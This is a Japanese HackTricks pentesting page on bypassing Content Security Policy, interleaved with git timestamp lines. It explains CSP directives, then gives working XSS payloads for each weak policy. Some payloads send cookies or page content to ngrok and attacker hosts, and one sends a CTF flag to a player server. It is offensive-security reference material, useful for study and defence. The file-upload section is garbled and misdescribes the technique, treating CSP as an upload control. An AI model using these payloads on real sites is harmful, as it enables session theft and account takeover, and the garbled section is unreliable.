2023-07-07 23:42:27 +00:00
# コンテンツセキュリティポリシー( CSP) バイパス
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-07-14 16:20:47 +00:00
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
2023-07-07 23:42:27 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **と** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **に提出してください。**
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
< / details >
2022-04-28 16:01:33 +00:00
2023-07-30 23:08:56 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2023-07-30 23:08:56 +00:00
**HackenProofはすべての暗号バグバウンティのホームです。**
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**遅延なしで報酬を受け取る**\
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**Web3ペンテストの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです! 上昇期のweb3セキュリティをマスターしましょう。
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ** ](https://hackenproof.com/register )して、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
## CSPとは
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
コンテンツセキュリティポリシー( Content Security PolicyまたはCSP) は、**クロスサイトスクリプティング( XSS) などの攻撃から保護するための組み込みブラウザ技術**です。ブラウザが安全にリソースを読み込みできるパスとソースをリスト化および説明します。リソースには画像、フレーム、JavaScriptなどが含まれる場合があります。以下は、ローカルドメイン( self) からのリソースの読み込みとインラインでの実行、および`eval`、`setTimeout`、`setInterval`などの文字列コード実行関数の許可例です。
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
コンテンツセキュリティポリシーは、**レスポンスヘッダ**または**HTMLページのメタ要素**を介して実装されます。ブラウザは受信したポリシーに従い、違反が検出されると積極的にブロックします。
2021-04-23 10:43:58 +00:00
2023-07-30 23:08:56 +00:00
レスポンスヘッダを介して実装されます:
2021-04-23 10:43:58 +00:00
```http
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
2023-07-07 23:42:27 +00:00
メタタグを使用して実装されます:
2021-04-23 10:43:58 +00:00
```markup
< meta http-equiv = "Content-Security-Policy" content = "default-src 'self'; img-src https://*; child-src 'none';" >
```
2023-07-07 23:42:27 +00:00
### ヘッダー
2020-07-15 15:43:14 +00:00
* `Content-Security-Policy`
2023-07-07 23:42:27 +00:00
* `Content-Security-Policy-Report-Only` これは何もブロックせず、レポートのみを送信します( Pre環境で使用) 。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
## リソースの定義
2021-04-23 10:43:58 +00:00
2023-07-07 23:42:27 +00:00
CSPは、アクティブおよびパッシブコンテンツが読み込まれる元の制限によって機能します。また、インラインのJavaScriptの実行や`eval()`の使用など、アクティブコンテンツの特定の側面を制限することもできます。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
2022-12-03 17:35:56 +00:00
report-uri /cspreport
2020-07-15 15:43:14 +00:00
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
2023-07-07 23:42:27 +00:00
### ディレクティブ
* **script-src**: このディレクティブはJavaScriptの許可されたソースを指定します。これには、要素に直接ロードされるURLだけでなく、インラインスクリプトイベントハンドラ( onclick) やスクリプトの実行をトリガーすることができるXSLTスタイルシートも含まれます。
* **default-src**: このディレクティブは、デフォルトでリソースを取得するためのポリシーを定義します。CSPヘッダーにフェッチディレクティブが存在しない場合、ブラウザはデフォルトでこのディレクティブに従います。
* **Child-src**: このディレクティブは、Webワーカーや埋め込みフレームのコンテンツに許可されたリソースを定義します。
* **connect-src**: このディレクティブは、fetch、websocket、XMLHttpRequestなどのインターフェースを使用してロードするURLを制限します。
* **frame-src**: このディレクティブは、呼び出すことができるフレームのURLを制限します。
* **frame-ancestors**: このディレクティブは、現在のページを埋め込むことができるソースを指定します。このディレクティブは[`< frame > `](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame)、[`< iframe > `](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)、[`< object > `](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object)、[`< embed > `](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed)、または[`< applet > `](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/applet)に適用されます。このディレクティブはタグ内では使用できず、非HTMLリソースにのみ適用されます。
* **img-src**: これはウェブページで画像をロードするための許可されたソースを定義します。
* **font-src:** このディレクティブは、`@font-face`を使用してロードされるフォントの有効なソースを指定します。
* **manifest-src**: このディレクティブは、アプリケーションマニフェストファイルの許可されたソースを定義します。
* **media-src**: これはメディアオブジェクトをロードするための許可されたソースを定義します。
* **object-src**: これは\<object>、\<embed>、および\<applet>要素の許可されたソースを定義します。
* **base-uri**: これは要素を使用してロードできる許可されたURLを定義します。
* **form-action**: このディレクティブは、タグからの送信のための有効なエンドポイントをリストします。
* **plugin-types**: これはページが呼び出すことができるMIMEタイプの種類を制限します。
* **upgrade-insecure-requests**: このディレクティブは、URLスキームを書き換えてHTTPをHTTPSに変更するようブラウザに指示します。このディレクティブは、大量の古いURLを書き換える必要があるウェブサイトに便利です。
* **sandbox**: sandboxディレクティブは、リクエストされたリソースに対してsandbox属性と同様の制限を適用します。これにより、ポップアップの防止、プラグインとスクリプトの実行の防止、同一オリジンポリシーの強制など、ページのアクションが制限されます。
### **ソース**
* \*: これは`data:`、`blob:`、`filesystem:`スキーム以外の任意のURLを許可します。
* **self**: このソースは、ページ上のリソースのロードが同じドメインから許可されていることを定義します。
* **data**: このソースは、データスキームを介してリソースをロードすることを許可します( 例: Base64エンコードされた画像) 。
2023-07-14 16:20:47 +00:00
* **none**: このディレクティブは、どのソースからも何もロードできないようにします。
2023-07-07 23:42:27 +00:00
* **unsafe-eval**: これはeval( ) や類似のメソッドを使用して文字列からコードを作成することを許可します。これは安全なプラクティスではないため、このソースを任意のディレクティブに含めることは推奨されません。同じ理由で、unsafeという名前が付けられています。
* **unsafe-hashes**: これにより、特定のインラインイベントハンドラの有効化が可能になります。
* **unsafe-inline**: これにより、インラインリソース( インライン要素、javascript: URL、インラインイベントハンドラ、インライン要素など) の使用が許可されます。セキュリティ上の理由から、これは推奨されません。
2023-07-14 16:20:47 +00:00
* **nonce**: 暗号化されたnonce( 一度だけ使用される数値) を使用して特定のインラインスクリプトをホワイトリストに登録します。サーバーは、ポリシーを送信するたびに一意のnonce値を生成する必要があります。
2023-07-07 23:42:27 +00:00
* **sha256-\<hash>**: 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。
* **strict-dynamic**: これにより、以前に「nonce」または「hash」値によってホワイトリストに登録されたスクリプトソースから、ブラウザがDOM内で新しいJavaScriptタグをロードおよび実行できるようになります。
* **host**: example.comなどのホストを示します。
## 危険なCSPルール
2020-07-15 15:43:14 +00:00
2022-06-23 12:52:13 +00:00
### 'unsafe-inline'
2021-04-23 10:43:58 +00:00
```yaml
2023-07-07 23:42:27 +00:00
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
動作するペイロード:`"/>< script > alert ( 1 ) ; < / script > `
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
#### Iframesを使用したself + 'unsafe-inline'
2022-04-19 22:38:50 +00:00
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md ](csp-bypass-self-+-unsafe-inline-with-iframes.md )
{% endcontent-ref %}
2022-06-23 12:52:13 +00:00
### 'unsafe-eval'
2021-04-23 10:43:58 +00:00
```yaml
2023-07-07 23:42:27 +00:00
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
動作するペイロード:
2022-12-03 17:35:56 +00:00
```html
< script src = "data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==" > < / script >
```
2023-02-20 09:58:12 +00:00
### strict-dynamic
2023-07-14 16:20:47 +00:00
もし何らかの方法で、許可されたJSコードが新しいスクリプトタグをDOMに作成することができれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行が許可されます**。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### ワイルドカード (\*)
2021-04-23 10:43:58 +00:00
```yaml
2023-07-07 23:42:27 +00:00
Content-Security-Policy: script-src 'self' https://google.com https: data *;
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
動作するペイロード:
2021-04-23 10:43:58 +00:00
```markup
"/>'>< script src = https://attacker-website.com/evil.js > < / script >
"/>'>< script src = data:text/javascript,alert(1337) > < / script >
```
2023-07-07 23:42:27 +00:00
### object-srcとdefault-srcの不足
2020-07-15 15:43:14 +00:00
2022-09-04 09:37:14 +00:00
{% hint style="danger" %}
2023-07-07 23:42:27 +00:00
**これはもう機能しないようです**
2022-09-04 09:37:14 +00:00
{% endhint %}
2021-04-23 10:43:58 +00:00
```yaml
Content-Security-Policy: script-src 'self' ;
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
動作するペイロード:
2021-04-23 10:43:58 +00:00
```markup
< object data = "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" > < / object >
2022-10-28 09:19:40 +00:00
">'>< object type = "application/x-shockwave-flash" data = 'https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain= \"})))}catch(e) {alert(1337)}//' >
2021-04-23 10:43:58 +00:00
< param name = "AllowScriptAccess" value = "always" > < / object >
```
2023-07-07 23:42:27 +00:00
### ファイルのアップロード + 'self'
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
#### 概要
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
このテクニックは、Content Security Policy( CSP) の設定によって制限されたウェブアプリケーションで、ファイルのアップロードをバイパスする方法です。CSPは、ウェブアプリケーションのセキュリティを向上させるために使用されるヘッダーですが、適切に構成されていない場合、攻撃者はファイルのアップロードを回避することができます。
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
#### 詳細
2023-07-14 16:20:47 +00:00
2023-07-30 23:08:56 +00:00
CSPは、ウェブアプリケーションが許可するリソースの制御を目的としています。通常、CSPは、`Content-Security-Policy`ヘッダーを使用して設定されます。このヘッダーには、許可されるドメイン、スクリプトの実行方法、画像の読み込み元などの指示が含まれています。
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
ファイルのアップロードを制限するために、CSPは通常、`self`ディレクティブを使用します。これにより、ウェブアプリケーションは同じオリジンからのみファイルのアップロードを許可します。しかし、攻撃者は、`self`ディレクティブをバイパスする方法を見つけることができます。
2021-04-23 10:43:58 +00:00
2023-07-30 23:08:56 +00:00
攻撃者が`self`ディレクティブをバイパスするために使用する一般的な方法は、ファイルのアップロード機能を提供するサードパーティのサービスを利用することです。たとえば、Google ドライブや Dropbox のようなクラウドストレージサービスを使用することができます。攻撃者は、ウェブアプリケーションにファイルをアップロードする代わりに、サードパーティのサービスにファイルをアップロードし、そのファイルの URL を取得します。
攻撃者は、取得したファイルの URL をウェブアプリケーションに提供することで、CSPの制限を回避します。ウェブアプリケーションは、攻撃者が提供した URL を信頼し、そのファイルを処理します。これにより、攻撃者はCSPの制限を回避し、任意のファイルをアップロードすることができます。
#### 対策
この攻撃を防ぐためには、CSPの設定を適切に行う必要があります。`self`ディレクティブを使用する場合、ウェブアプリケーションが信頼するドメインのみを指定する必要があります。また、サードパーティのサービスを使用する場合は、信頼できるサービスのみを選択する必要があります。
さらに、ファイルのアップロード機能を提供する場合は、アップロードされたファイルの検証と制限を行う必要があります。ファイルの種類、サイズ、およびアップロード先のパスなどを検証し、不正なファイルのアップロードを防止することが重要です。
#### まとめ
ファイルのアップロードを制限するためにCSPを使用する場合、`self`ディレクティブをバイパスする攻撃手法が存在します。攻撃者は、サードパーティのサービスを利用してCSPの制限を回避し、任意のファイルをアップロードすることができます。適切なCSPの設定とファイルの検証を行うことで、この攻撃を防ぐことができます。
2023-07-07 23:42:27 +00:00
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
もしJSファイルをアップロードできるなら、このCSPをバイパスすることができます。
動作するペイロード:
2021-04-23 10:43:58 +00:00
```markup
"/>'>< script src = "/uploads/picture.png.js" > < / script >
```
2023-07-14 16:20:47 +00:00
しかし、サーバーが**アップロードされたファイルを検証**し、**特定の種類のファイルのみをアップロード**できるようにしている可能性が非常に高いです。
2020-07-15 15:43:14 +00:00
2023-07-14 16:20:47 +00:00
さらに、サーバーが受け入れる拡張子( 例: _script.png_のような) を使用してファイル内に**JSコードをアップロード**できたとしても、これだけでは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは、拡張子に基づいてファイルのMIMEタイプを**選択**し、Chromeのようなブラウザは、画像であるべきものに含まれるJavascriptコードを**実行しないように拒否**します。幸いなことに、ここでミスがあります。たとえば、CTFから学んだところによれば、**Apacheは**_**.wave**_**拡張子を認識しない**ため、**audio/\***のようなMIMEタイプで提供しません。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
ここから、XSSとファイルのアップロードを見つけ、**誤解された拡張子**を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロット([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))を作成してみてください。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### サードパーティのエンドポイント + ('unsafe-eval')
2022-12-03 17:35:56 +00:00
{% hint style="warning" %}
2023-07-07 23:42:27 +00:00
以下のペイロードの一部には、**`unsafe-eval`は必要ありません**。
2022-12-03 17:35:56 +00:00
{% endhint %}
2021-04-23 10:43:58 +00:00
```yaml
2023-07-07 23:42:27 +00:00
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
2021-04-23 10:43:58 +00:00
```
2023-07-30 23:08:56 +00:00
脆弱性のあるバージョンのAngularを読み込み、任意のJavaScriptを実行します:
```html
< script src = "https://example.com/angular/vulnerable-version.js" > < / script >
```
This will load the vulnerable version of Angular from the specified URL and execute any arbitrary JavaScript code contained within it.
これにより、指定されたURLから脆弱性のあるAngularのバージョンが読み込まれ、それに含まれる任意のJavaScriptコードが実行されます。
2021-04-23 10:43:58 +00:00
```markup
< script src = "https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js" > < / script >
< div ng-app > {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} < / div >
2023-01-02 20:17:43 +00:00
">< script src = "https://cdnjs.cloudflare.com/angular.min.js" > < / script > < div ng-app ng-csp > {{$eval.constructor('alert(1)')()}}< / div >
">< script src = "https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js" > < / script >
< div ng-app ng-csp id = p ng-click = $event.view.alert(1337) >
2023-01-04 12:21:48 +00:00
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
< script / src = https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js > < / script >
< iframe / ng-app / ng-csp / srcdoc = "
2023-07-07 23:42:27 +00:00
< script / src = https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js >
< / script >
< img / ng-app / ng-csp / src / ng-o { { } } n-error = $event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain) > "
2023-01-04 12:21:48 +00:00
>
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
#### Angular + `window`オブジェクトを返す関数を持つライブラリを使用したペイロード([この投稿をチェックしてください](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)) :
2023-01-02 20:17:43 +00:00
{% hint style="info" %}
2023-07-30 23:08:56 +00:00
この投稿では、`cdn.cloudflare.com`( または他の許可されたJSライブラリのリポジトリ) からすべてのライブラリを**ロード**し、各ライブラリから追加されたすべての関数を実行し、**どの関数がどのライブラリから`window`オブジェクトを返すか**を確認できることを示しています。
2023-01-02 20:17:43 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
```markup
< script src = "https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js" > < / script >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" / > < / script >
2023-01-02 20:17:43 +00:00
< div ng-app ng-csp >
2023-07-07 23:42:27 +00:00
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
2023-01-02 20:17:43 +00:00
< / div >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js" > < / script >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js" > < / script >
< div ng-app ng-csp >
2023-07-07 23:42:27 +00:00
{{$on.curry.call().alert('xss')}}
2023-01-02 20:17:43 +00:00
< / div >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js" > < / script >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js" > < / script >
< div ng-app ng-csp >
2023-07-07 23:42:27 +00:00
{{[].erase.call().alert('xss')}}
2023-01-02 20:17:43 +00:00
< / div >
2023-07-07 23:42:27 +00:00
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
### サードパーティのエンドポイント + JSONP
2023-07-30 23:08:56 +00:00
JSONP( JSON with Padding) は、クロスドメインリクエストを実現するための一般的な手法です。これは、ウェブアプリケーションが異なるドメインのサードパーティエンドポイントにリクエストを送信する場合に使用されます。
2023-07-07 23:42:27 +00:00
2023-07-30 23:08:56 +00:00
JSONPは、スクリプトタグを使用して外部スクリプトを読み込む方法を利用しています。ウェブアプリケーションは、サードパーティのエンドポイントに対してスクリプトタグを生成し、コールバック関数を指定します。サードパーティのエンドポイントは、指定されたコールバック関数を含むJSONデータを返します。ウェブアプリケーションは、コールバック関数を使用してJSONデータを処理します。
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
この手法は、Content Security Policy( CSP) によって制限される場合があります。CSPは、ウェブアプリケーションが許可されたリソースのみにアクセスできるようにするためのセキュリティメカニズムです。CSPが適用されている場合、ウェブアプリケーションは指定されたドメイン以外のエンドポイントにリクエストを送信することはできません。
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
しかし、CSPバイパスのテクニックを使用することで、JSONPを使用してサードパーティのエンドポイントにリクエストを送信することができます。これにより、CSPの制限を回避し、クロスドメインリクエストを実現することができます。
2023-07-07 23:42:27 +00:00
2023-07-30 23:08:56 +00:00
CSPバイパスの一般的な手法には、以下のようなものがあります。
2023-07-07 23:42:27 +00:00
2023-07-30 23:08:56 +00:00
- ホワイトリストされたドメインを使用する
- リクエストヘッダを操作する
- サブリソースインテグリティ( SRI) をバイパスする
- リダイレクトを利用する
2023-07-14 16:20:47 +00:00
2023-07-30 23:08:56 +00:00
これらの手法を使用することで、CSPをバイパスし、JSONPを使用したクロスドメインリクエストを実現することができます。ただし、これらの手法はセキュリティ上のリスクを伴うため、慎重に使用する必要があります。
2021-04-23 10:43:58 +00:00
```http
2023-03-05 18:12:38 +00:00
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
2020-07-15 15:43:14 +00:00
```
2023-07-14 16:20:47 +00:00
次のようなシナリオでは、`script-src`が`self`と特定のドメインに設定されている場合、JSONPを使用して回避することができます。 JSONPエンドポイントは、安全でないコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。有効なペイロードは以下の通りです:
2021-04-23 10:43:58 +00:00
```markup
">< script src = "https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1" > < / script >
">< script src = "/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//" > < / script >
```
2023-03-05 18:12:38 +00:00
```html
https://www.youtube.com/oembed?callback=alert;
< script src = "https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})" > < / script >
```
2023-07-07 23:42:27 +00:00
[**JSONBee** ](https://github.com/zigoo0/JSONBee ) **には、さまざまなウェブサイトのCSPバイパスに使用できるJSONPエンドポイントが含まれています。**
2023-03-05 18:12:38 +00:00
2023-07-07 23:42:27 +00:00
同じ脆弱性は、**信頼されたエンドポイントにオープンリダイレクトが含まれている場合にも発生します**。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### フォルダパスバイパス
2020-07-15 15:43:14 +00:00
2023-07-14 16:20:47 +00:00
CSPポリシーがフォルダを指す場合、**"/"**をエンコードするために**%2f**を使用しても、それはまだフォルダ内にあると見なされます。すべてのブラウザがこれに同意しているようです。\
これにより、サーバーがデコードする場合には、**%2f..%2f**を使用してバイパスすることができます。たとえば、CSPが`http://example.com/company/`を許可している場合、フォルダの制限をバイパスして次のコードを実行できます:`http://example.com/company%2f..%2fattacker/file.js`
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
オンラインの例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
### IframesでのJS実行
2020-07-15 15:43:14 +00:00
2022-04-19 22:38:50 +00:00
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md ](../xss-cross-site-scripting/iframes-in-xss-and-csp.md )
2021-10-20 00:55:49 +00:00
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### **base-uri**の不足
2022-03-21 17:05:35 +00:00
2023-07-07 23:42:27 +00:00
**base-uri**ディレクティブが不足している場合、[**dangling markup injection**](../dangling-markup-html-scriptless-injection.md)を実行するために悪用することができます。
2022-03-21 17:05:35 +00:00
2023-07-30 23:08:56 +00:00
さらに、脆弱なページが相対パス(例:`/js/app.js`)を使用してスクリプトをロードしている場合、**Nonce**を使用して、**base** **tag**を悪用してスクリプトを**自分のサーバーからロードし、XSSを達成**することができます。\
脆弱なページがhttpSでロードされている場合は、baseでhttpSのURLを使用してください。
2022-03-21 17:05:35 +00:00
```html
< base href = "https://www.attacker.com/" >
```
2023-07-07 23:42:27 +00:00
### AngularJS イベント
2022-03-21 17:05:35 +00:00
2023-07-14 16:20:47 +00:00
特定のポリシーによって、CSPはJavaScriptイベントをブロックする場合があります。ただし、AngularJSは独自のイベントを定義しており、代わりに使用することができます。イベント内部では、AngularJSは`$event`という特別なオブジェクトを定義しています。このオブジェクトは単純にブラウザのイベントオブジェクトを参照します。このオブジェクトを使用してCSPをバイパスすることができます。Chromeでは、`$event/event`オブジェクトには`path`という特別なプロパティがあります。このプロパティには、イベントの実行を引き起こすオブジェクトの配列が含まれています。最後のプロパティは常に`window`オブジェクトであり、これを使用してサンドボックスを脱出することができます。この配列を`orderBy`フィルタに渡すことで、配列を列挙し、最後の要素(`window`オブジェクト)を使用して`alert()`などのグローバル関数を実行することができます。以下のコードはこれを示しています:
2020-07-15 15:43:14 +00:00
```markup
2021-11-14 19:46:18 +00:00
< input % 20id = x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27 > #x
2020-07-15 15:43:14 +00:00
?search=< input id = x ng-focus = $event.path|orderBy:'(z=alert)(document.cookie)' > #x
```
2023-07-07 23:42:27 +00:00
**他のAngularバイパスを**[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **で見つける**
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### AngularJSとホワイトリストに登録されたドメイン
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
2023-07-14 16:20:47 +00:00
もしアプリケーションがAngular JSを使用しており、スクリプトがホワイトリストに登録されたドメインからロードされている場合、コールバック関数と脆弱性のあるクラスを呼び出すことで、このCSPポリシーをバイパスすることが可能です。詳細については、この素晴らしい[git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)リポジトリをご覧ください。
2020-07-15 15:43:14 +00:00
2023-07-14 16:20:47 +00:00
動作するペイロード:
2022-08-12 14:24:34 +00:00
```html
< script src = //ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337 > < / script >
2020-07-15 15:43:14 +00:00
ng-app"ng-csp ng-click=$event.view.alert(1337)>< script src = //ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js > < / script >
2022-12-03 17:35:56 +00:00
<!-- no longer working -->
2022-08-12 14:24:34 +00:00
< script src = "https://www.googleapis.com/customsearch/v1?callback=alert(1)" >
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
他のJSONP任意実行エンドポイントは[**こちら**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)で見つけることができます(一部は削除または修正されました)。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### ダングリングマークアップを使用してCSPをバイパスする
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
[こちら ](../dangling-markup-html-scriptless-injection.md )で詳細を読む。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### 'unsafe-inline'; img-src \*; によるXSS経由
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
default-src 'self' 'unsafe-inline'; img-src *;
```
2023-07-07 23:42:27 +00:00
`'unsafe-inline'` は、コード内で任意のスクリプトを実行できることを意味します( XSSはコードを実行できます) 。また、`img-src *`は、ウェブページで任意のリソースからの画像を使用できることを意味します。
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
このCSPをバイパスする方法は、画像を介してデータを外部に漏洩させることです( この場合、XSSはボットによってアクセス可能なページでCSRFを悪用し、SQLiを含んだフラグを画像を通じて抽出します) 。
2020-07-15 15:43:14 +00:00
```javascript
< script > fetch ( 'http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23' ) . then ( _ => _ . text ( ) ) . then ( _ => new Image ( ) . src = 'http://PLAYER_SERVER/?' + _ ) < / script >
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle ](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle )
2023-07-14 16:20:47 +00:00
この設定を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、**特別な画像**を作成し、Twitterに**アップロード**して、"**unsafe-inline**"を悪用して通常のXSSとしてJSコードを**実行**し、**画像**からJSを**抽出**して**実行**することができます:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
2022-06-28 23:06:59 +00:00
2023-07-07 23:42:27 +00:00
